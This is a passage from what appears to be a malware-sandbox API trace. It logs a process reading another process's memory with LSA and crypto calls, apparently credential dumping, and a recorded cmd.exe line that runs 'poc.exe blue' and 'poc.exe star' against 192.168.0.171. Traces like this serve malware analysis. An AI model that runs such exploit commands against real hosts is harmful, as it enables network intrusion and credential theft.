lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c08f0, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca42840, lpBuffer=0x12fba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fba0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e4590, lpBuffer=0x12fae0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fae0*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] LocalFree (hMem=0x1ef780) returned 0x0 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e9350, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f8410, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.617] LocalFree (hMem=0x1ef780) returned 0x0 [0062.617] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4166b0, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d490, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] LocalFree (hMem=0x1ef780) returned 0x0 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b6d90, lpBuffer=0x12f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12f960*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c3a30, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] LocalFree (hMem=0x1ef780) returned 0x0 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x416830, lpBuffer=0x12f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12f960*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d8b0, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] LocalFree (hMem=0x1ef780) returned 0x0 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8f78d0, lpBuffer=0x12fc80, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4199c0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419f70, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419d00, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419b60, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419750, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419340, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.618] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4190d0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x406b90, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a3470, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x39ff40, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0420 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a4460, lpBuffer=0x1d0420, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0440 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a4480, lpBuffer=0x1d0440, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0440*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x39e631, lpBuffer=0x12fd20, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fd20*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x1d0400 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x39e630, lpBuffer=0x1d0400, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] FileTimeToLocalFileTime (in: lpFileTime=0x12fdc8, lpLocalFileTime=0x12fc98 | out: lpLocalFileTime=0x12fc98) returned 1 [0062.619] FileTimeToSystemTime (in: lpFileTime=0x12fc98, lpSystemTime=0x12fa40 | out: lpSystemTime=0x12fa40) returned 1 [0062.619] GetDateFormatW (in: Locale=0x400, dwFlags=0x0, lpDate=0x12fa40, lpFormat=0x0, lpDateStr=0x12fa50, cchDate=255 | out: lpDateStr="1/8/2020") returned 9 [0062.619] GetTimeFormatW (in: Locale=0x400, dwFlags=0x0, lpTime=0x12fa40, lpFormat=0x0, lpTimeStr=0x12fa50, cchTime=255 | out: lpTimeStr="8:59:26 PM") returned 11 [0062.619] ConvertSidToStringSidW () returned 0x1 [0062.619] LocalFree (hMem=0x1d0480) returned 0x0 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc674b00, lpBuffer=0x12fbc0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e6000, lpBuffer=0x12fb00, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fb00*, lpNumberOfBytesRead=0x0) returned 1 [0062.619] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.619] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x410a80, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e60a0, lpBuffer=0x12fa40, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa40*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x1c1a60 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4109d0, lpBuffer=0x1c1a60, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c1a60*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] LocalFree (hMem=0x1c1a60) returned 0x0 [0062.620] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x1ee3a0 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7012c0, lpBuffer=0x12fc98, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc98*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7300, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c7150, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c6e80, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f0c60, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c08f0, lpBuffer=0x1ee3a0, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee3a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.620] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1c9050 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c08f0, lpBuffer=0x1c9050, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1c9050*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] ConvertSidToStringSidW () returned 0x1 [0062.620] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0480 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a4500, lpBuffer=0x1d0480, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0480*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] IsTextUnicode (in: lpv=0x1d0480, iSize=20, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.620] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0460 [0062.620] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a4520, lpBuffer=0x1d0460, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0460*, lpNumberOfBytesRead=0x0) returned 1 [0062.620] IsTextUnicode (in: lpv=0x1d0460, iSize=18, lpiResult=0x12fa00 | out: lpiResult=0x12fa00) returned 1 [0062.620] LocalFree (hMem=0x1d0480) returned 0x0 [0062.621] LocalFree (hMem=0x1d0460) returned 0x0 [0062.621] LocalFree (hMem=0x1d04a0) returned 0x0 [0062.621] LocalFree (hMem=0x1c9050) returned 0x0 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefca42840, lpBuffer=0x12fba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fba0*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e4590, lpBuffer=0x12fae0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fae0*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x407610, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalFree (hMem=0x1ef780) returned 0x0 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3e9350, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3f8410, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalFree (hMem=0x1ef780) returned 0x0 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4166b0, lpBuffer=0x12fa20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa20*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x41d490, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalFree (hMem=0x1ef780) returned 0x0 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b6d90, lpBuffer=0x12f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12f960*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x1ef780 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c3a30, lpBuffer=0x1ef780, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ef780*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] LocalFree (hMem=0x1ef780) returned 0x0 [0062.621] LocalAlloc (uFlags=0x40, uBytes=0x138) returned 0x1e10d0 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c3a30, lpBuffer=0x1e10d0, nSize=0x138, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1e10d0*, lpNumberOfBytesRead=0x0) returned 1 [0062.621] ConvertSidToStringSidW () returned 0x1 [0062.621] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d04a0 [0062.621] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a4540, lpBuffer=0x1d04a0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d04a0*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] IsTextUnicode (in: lpv=0x1d04a0, iSize=20, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.622] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0480 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a4560, lpBuffer=0x1d0480, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0480*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] IsTextUnicode (in: lpv=0x1d0480, iSize=18, lpiResult=0x12f920 | out: lpiResult=0x12f920) returned 1 [0062.622] LocalFree (hMem=0x1d04a0) returned 0x0 [0062.622] LocalFree (hMem=0x1d0480) returned 0x0 [0062.622] LocalFree (hMem=0x1d0460) returned 0x0 [0062.622] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8f78d0, lpBuffer=0x12fc80, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4199c0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419f70, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419d00, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419b60, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419750, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x419340, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x4190d0, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x406b90, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3a3470, lpBuffer=0x12fc80, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc80*, lpNumberOfBytesRead=0x0) returned 1 [0062.622] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b9be0, lpBuffer=0x12fc90, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc90*, lpNumberOfBytesRead=0x0) returned 1 [0062.623] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3c35a0, lpBuffer=0x12fc50, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fc50*, lpNumberOfBytesRead=0x0) returned 1 [0062.623] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x1e10d0 [0062.623] LocalFree (hMem=0x1e10d0) returned 0x0 [0062.623] LocalFree (hMem=0x1d0420) returned 0x0 [0062.623] LocalFree (hMem=0x1d0440) returned 0x0 [0062.623] LocalFree (hMem=0x1d0400) returned 0x0 [0062.623] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.623] LocalFree (hMem=0x1d03c0) returned 0x0 [0062.623] LocalFree (hMem=0x1c43e0) returned 0x0 [0062.623] LocalFree (hMem=0x1eae80) returned 0x0 [0062.623] ExpandEnvironmentStringsW (in: lpSrc="EXIT", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5 [0062.623] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x1d03c0 [0062.623] ExpandEnvironmentStringsW (in: lpSrc="EXIT", lpDst=0x1d03c0, nSize=0x5 | out: lpDst="EXIT") returned 0x5 [0062.623] CommandLineToArgvW (in: lpCmdLine="EXIT", pNumArgs=0x12fed0 | out: pNumArgs=0x12fed0) returned 0x1ee3a0*="EXIT" [0062.628] LocalFree (hMem=0x1ee3a0) returned 0x0 [0062.628] LocalFree (hMem=0x1d03c0) returned 0x0 [0062.628] FreeLibrary (hLibModule=0x7fefc680000) returned 1 [0062.628] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptCloseAlgorithmProvider") returned 0x7fefcaf32b0 [0062.628] BCryptCloseAlgorithmProvider (in: hAlgorithm=0x1dd950, dwFlags=0x0 | out: hAlgorithm=0x1dd950) returned 0x0 [0062.628] GetProcAddress (hModule=0x7fefcaf0000, lpProcName="BCryptDestroyKey") returned 0x7fefcaf16a0 [0062.628] BCryptDestroyKey (in: hKey=0x1ec320 | out: hKey=0x1ec320) returned 0x0 [0062.629] LocalFree (hMem=0x1ec320) returned 0x0 [0062.629] BCryptCloseAlgorithmProvider (in: hAlgorithm=0x1eeff0, dwFlags=0x0 | out: hAlgorithm=0x1eeff0) returned 0x0 [0062.629] BCryptDestroyKey (in: hKey=0x1ef110 | out: hKey=0x1ef110) returned 0x0 [0062.629] LocalFree (hMem=0x1ef110) returned 0x0 [0062.629] LsaDeregisterLogonProcess (LsaHandle=0x1cc040) returned 0x0 [0062.688] FreeLibrary (hLibModule=0x7fef7750000) returned 1 [0062.689] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1c90c0 | out: hHeap=0x1a0000) returned 1 [0062.689] LocalFree (hMem=0x1ef440) returned 0x0 [0062.689] RpcMgmtStopServerListening (Binding=0x0) returned 0x6b3 [0062.689] ASN1_CloseDecoder () returned 0x0 [0062.689] ASN1_CloseEncoder () returned 0x0 [0062.689] ASN1Free () returned 0x0 [0062.690] CoUninitialize () [0062.691] SetConsoleCtrlHandler (HandlerRoutine=0x14005672c, Add=0) returned 1 [0062.691] SetConsoleOutputCP (wCodePageID=0x1b5) returned 1 [0062.693] RtlExitUserProcess (ExitCode=0x0) [0062.694] HeapFree (in: hHeap=0x1a0000, dwFlags=0x0, lpMem=0x1d09f0 | out: hHeap=0x1a0000) returned 1 Thread: id = 31 os_tid = 0x8b4 Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x30185000" os_pid = "0xfb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c C:\\ProgramData\\poc.exe blue 192.168.0.171 & C:\\ProgramData\\poc.exe star 192.168.0.171" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 406 os_tid = 0xfb4 [0091.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cf91c | out: lpSystemTimeAsFileTime=0x2cf91c*(dwLowDateTime=0x8d0bdee0, dwHighDateTime=0x1d5ca1f)) [0091.032] GetCurrentProcessId () returned 0xfb0 [0091.032] GetCurrentThreadId () returned 0xfb4 [0091.032] GetTickCount () returned 0x115fb12 [0091.032] QueryPerformanceCounter (in: lpPerformanceCount=0x2cf914 | out: lpPerformanceCount=0x2cf914*=23214248962) returned 1 [0091.034] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa20000 [0091.034] __set_app_type (_Type=0x1) [0091.034] __p__fmode () returned 0x76be31f4 [0091.082] __p__commode () returned 0x76be31fc [0091.083] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa421a6) returned 0x0 [0091.083] __getmainargs (in: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c, _DoWildCard=0, _StartInfo=0x4aa44140 | out: _Argc=0x4aa44238, _Argv=0x4aa44240, _Env=0x4aa4423c) returned 0 [0091.084] GetCurrentThreadId () returned 0xfb4 [0091.084] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfb4) returned 0x60 [0091.084] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0091.084] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0091.084] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.085] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0091.085] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cf8ac | out: phkResult=0x2cf8ac*=0x0) returned 0x2 [0091.085] VirtualQuery (in: lpAddress=0x2cf8e3, lpBuffer=0x2cf87c, dwLength=0x1c | out: lpBuffer=0x2cf87c*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0091.085] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cf87c, dwLength=0x1c | out: lpBuffer=0x2cf87c*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0091.085] VirtualQuery (in: lpAddress=0x1d1000, lpBuffer=0x2cf87c, dwLength=0x1c | out: lpBuffer=0x2cf87c*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0091.085] VirtualQuery (in: lpAddress=0x1d3000, lpBuffer=0x2cf87c, dwLength=0x1c | out: lpBuffer=0x2cf87c*(BaseAddress=0x1d3000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0091.085] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cf87c, dwLength=0x1c | out: lpBuffer=0x2cf87c*(BaseAddress=0x2d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0091.085] GetConsoleOutputCP () returned 0x1b5 [0091.085] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0091.085] SetConsoleCtrlHandler (HandlerRoutine=0x4aa3e72a, Add=1) returned 1 [0091.086] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.086] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0091.086] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.086] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0091.086] _get_osfhandle (_FileHandle=1) returned 0x7 [0091.086] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0091.086] _get_osfhandle (_FileHandle=0) returned 0x3 [0091.086] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0091.088] _get_osfhandle (_FileHandle=0) returned 0x3 [0091.088] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0091.088] GetEnvironmentStringsW () returned 0x524070* [0091.088] GetProcessHeap () returned 0x510000 [0091.088] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xaca) returned 0x524b48 [0091.088] FreeEnvironmentStringsW (penv=0x524070) returned 1 [0091.089] GetProcessHeap () returned 0x510000 [0091.089] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x520d28 [0091.089] GetEnvironmentStringsW () returned 0x524070* [0091.089] GetProcessHeap () returned 0x510000 [0091.089] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xaca) returned 